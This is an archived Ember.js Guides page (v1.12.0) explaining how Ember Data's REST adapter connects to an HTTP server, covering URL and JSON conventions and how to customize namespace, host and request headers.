<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Connecting to an HTTP Server - Models - Ember Guides</title> <meta name="description" content="If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns. The store uses an object called an adapter to know how to..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Connecting to an HTTP Server - Models - Ember Guides"> <!----> <meta property="og:description" content="If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns. The store uses an object called an adapter to know how to..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Connecting to an HTTP Server - Models - Ember Guides"> <!----> <meta name="twitter:description" content="If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns. The store uses an object called an adapter to know how to..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember54675" class="es-header ember-view" role="banner"><div id="ember54676" class="ember-view"><div class="container"> <nav id="ember54677" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember54678" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember54679" class="navbar-collapse collapse ember-view"><ul id="ember54680" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember54681" class="dropdown nav-item ember-view"> <a href="#" id="ember54682" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember54684" class="dropdown nav-item ember-view"> <a href="#" id="ember54685" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember54687" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember54688" class="dropdown nav-item ember-view"> <a href="#" id="ember54689" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember54691" class="dropdown nav-item ember-view"> <a href="#" id="ember54692" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember54694" class="nav navbar-nav ember-view"> <form> <div id="ember54695" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember54696" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember54697" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember54698" class="ember-basic-dropdown ember-view"> <div aria-label="v1.12.0" aria-owns="ember-basic-dropdown-content-ember54698" tabindex="0" data-ebd-id="ember54698-trigger" role="button" id="ember54699" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 1.12 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember54698" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember54703" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember54706" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/getting-started" id="ember54707" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember54708" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54710" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/concepts" id="ember54711" class="cp-Panel-toggle ember-view"> Concepts </a> <div id="ember54712" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54714" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/object-model" id="ember54715" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember54716" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54718" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/application" id="ember54719" class="cp-Panel-toggle ember-view"> Application </a> <div id="ember54720" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54722" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/templates" id="ember54723" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember54724" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54726" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/routing" id="ember54727" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember54728" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54730" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/components" id="ember54731" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember54732" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54734" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/controllers" id="ember54735" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember54736" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54738" class="cp-Panel cp-is-open ember-view"><a href="/v1.12.0/models" id="ember54739" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember54740" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember54741" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/index" id="ember54743" class="ember-view"> Introduction </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/defining-models" id="ember54745" class="ember-view"> Defining Models </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/creating-and-deleting-records" id="ember54747" class="ember-view"> Creating and Deleting Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/pushing-records-into-the-store" id="ember54749" class="ember-view"> Pushing Records into the Store </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/persisting-records" id="ember54751" class="ember-view"> Persisting Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/finding-records" id="ember54753" class="ember-view"> Finding Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/working-with-records" id="ember54755" class="ember-view"> Working with Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/the-rest-adapter" id="ember54757" class="ember-view"> The Rest Adapter </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v1.12.0/models/connecting-to-an-http-server" id="ember54759" class="selected ember-view"> Connecting to an HTTP Server </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/handling-metadata" id="ember54761" class="ember-view"> Handling Metadata </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/customizing-adapters" id="ember54763" class="ember-view"> Customizing Adapters </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/frequently-asked-questions" id="ember54765" class="ember-view"> Frequently Asked Questions </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54767" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/views" id="ember54768" class="cp-Panel-toggle ember-view"> Views </a> <div id="ember54769" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54771" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/enumerables" id="ember54772" class="cp-Panel-toggle ember-view"> Enumerables </a> <div id="ember54773" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54775" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/testing" id="ember54776" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember54777" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54779" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/configuring-ember" id="ember54780" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember54781" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54783" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/ember-inspector" id="ember54784" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember54785" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54787" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/cookbook" id="ember54788" class="cp-Panel-toggle ember-view"> Cookbook </a> <div id="ember54789" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54791" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/understanding-ember" id="ember54792" class="cp-Panel-toggle ember-view"> Understanding Ember.js </a> <div id="ember54793" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54795" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/contributing" id="ember54796" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember54797" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember54798" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v1.12.0. <a href="/release/models/connecting-to-an-http-server" id="ember54799" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v1.12.0/models/connecting-to-an-http-server.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Connecting to an HTTP Server </h1> <hr> <div id="ember54800" class="ember-view"><p>If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns.</p> <p>The store uses an object called an <em>adapter</em> to know how to communicate over the network. By default, the store will use <code>DS.RESTAdapter</code>, an adapter that communicates with an HTTP server by transmitting JSON via XHR.</p> <p>This guide is divided into two sections. The first section covers what the default behavior of the adapter is, including what URLs it will request records from and what format it expects the JSON to be in.</p> <p>The second section covers how to override these default settings to customize things like which URLs data is requested from and how the JSON data is structured.</p> <h3 id="toc_url-conventions">URL Conventions</h3> <section aria-labelledby="toc_url-conventions"> <p>The REST adapter uses the name of the model to determine what URL to send JSON to.</p> <p>For example, if you ask for a <code>photo</code> record by ID:</p> <pre><code class="javascript language-javascript"data-filename=app/routes/photo.js>export default Ember.Route.extend({ model: function(params) { return this.store.find('photo', params.photo_id); } }); </code></pre> <p>The REST adapter will automatically send a <code>GET</code> request to <code>/photos/1</code>.</p> <p>The actions you can take on a record map onto the following URLs in the REST adapter:</p> <table> <thead> <tr><th>Action</th><th>HTTP Verb</th><th>URL</th></tr> </thead> <tbody> <tr><th>Find</th><td>GET</td><td>/photos/123</td></tr> <tr><th>Find All</th><td>GET</td><td>/photos</td></tr> <tr><th>Update</th><td>PUT</td><td>/photos/123</td></tr> <tr><th>Create</th><td>POST</td><td>/photos</td></tr> <tr><th>Delete</th><td>DELETE</td><td>/photos/123</td></tr> </tbody> </table> </section> <h3 id="toc_json-conventions">JSON Conventions</h3> <section aria-labelledby="toc_json-conventions"> <p>Given the following models:</p> <pre><code class="javascript language-javascript"data-filename=app/models/post.js>import DS from 'ember-data'; export default DS.Model.extend({ title: DS.attr(), comments: DS.hasMany('comment'), user: DS.belongsTo('user') }); </code></pre> <pre><code class="javascript language-javascript"data-filename=app/models/comment.js>import DS from 'ember-data'; App.Comment = DS.Model.extend({ body: DS.attr() }); </code></pre> <p>Ember Data expects that a <code>GET</code> request to <code>/posts/1</code> would return the JSON in the following format:</p> <pre><code class="javascript language-javascript">{ "post": { "id": 1, "title": "Rails is omakase", "comments": ["1", "2"], "user" : "dhh" }, "comments": [{ "id": "1", "body": "Rails is unagi" }, { "id": "2", "body": "Omakase O_o" }] } </code></pre> <p>To quickly prototype a model and see the expected JSON, try using the <a href="http://andycrum.github.io/ember-data-model-maker/">Ember Data Model Maker</a> by Andy Crum.</p> </section> <h3 id="toc_customizing-the-adapter">Customizing the Adapter</h3> <section aria-labelledby="toc_customizing-the-adapter"> <p>To customize the REST adapter, create a <code>app/adapters/application.js</code> file and export a subclass of <code>DS.RESTAdapter</code>. You can then override its properties and methods to customize how records are retrieved and saved.</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ ... }); </code></pre> </section> <h4 id="toc_customizing-a-specific-model">Customizing a Specific Model</h4> <section aria-labelledby="toc_customizing-a-specific-model"> <p>It's entirely possible that you need to define options for just one model instead of an application-wide customization. In that case, you can create an adapter named after the model you are specifying:</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/post.js>export default DS.RESTAdapter.extend({ namespace: 'api/v2', host: 'https://api.example2.com' }); </code></pre> <pre><code class="javascript language-javascript"data-filename=app/adapters/photo.js>export default DS.RESTAdapter.extend({ namespace: 'api/v1', host: 'https://api.example.com' }); </code></pre> <p>This allows you to easily connect to multiple API versions simultaneously or interact with different domains on a per model basis.</p> </section> <h3 id="toc_customizing-urls">Customizing URLs</h3> <section aria-labelledby="toc_customizing-urls"> </section> <h4 id="toc_url-prefix">URL Prefix</h4> <section aria-labelledby="toc_url-prefix"> <p>If your JSON API lives somewhere other than on the host root, you can set a prefix that will be added to all requests.</p> <p>For example, if you are using a versioned JSON API, a request for a particular person might go to <code>/api/v1/people/1</code>.</p> <p>In that case, set <code>namespace</code> property to <code>api/v1</code>.</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ namespace: 'api/v1' }); </code></pre> <p>Requests for a <code>person</code> with ID <code>1</code> would now go to <code>/api/v1/people/1</code>.</p> </section> <h4 id="toc_url-host">URL Host</h4> <section aria-labelledby="toc_url-host"> <p>If your JSON API runs on a different domain than the one serving your Ember app, you can change the host used to make HTTP requests.</p> <p>Note that in order for this to work, you will need to be using a browser that supports <a href="http://www.html5rocks.com/en/tutorials/cors/">CORS</a>, and your server will need to be configured to send the correct CORS headers.</p> <p>To change the host that requests are sent to, set the <code>host</code> property:</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ host: 'https://api.example.com' }); </code></pre> <p>Requests for a <code>person</code> with ID <code>1</code> would now target <code>https://api.example.com/people/1</code>.</p> </section> <h4 id="toc_custom-http-headers">Custom HTTP Headers</h4> <section aria-labelledby="toc_custom-http-headers"> <p>Some APIs require HTTP headers, e.g. to provide an API key. Arbitrary headers can be set as key/value pairs on the <code>RESTAdapter</code>'s <code>headers</code> property and Ember Data will send them along with each ajax request.</p> <p>For Example</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ headers: { 'API_KEY': 'secret key', 'ANOTHER_HEADER': 'Some header value' } }); </code></pre> <p>Requests for any resource will include the following HTTP headers.</p> <pre><code class="http language-http">ANOTHER_HEADER: Some header value API_KEY: secret key </code></pre> <!-- eof - needed for pages that end in a code block --> </section> </div> <footer id="ember54801" class="ember-view"> <a href="/v1.12.0/models/the-rest-adapter" id="ember54802" class="previous-guide ember-view">The Rest Adapter</a> <a href="/v1.12.0/models/handling-metadata" id="ember54803" class="next-guide ember-view"> Handling Metadata </a></footer> </article> </main> <footer id="ember54804" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember54805" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember54806" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember54807" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 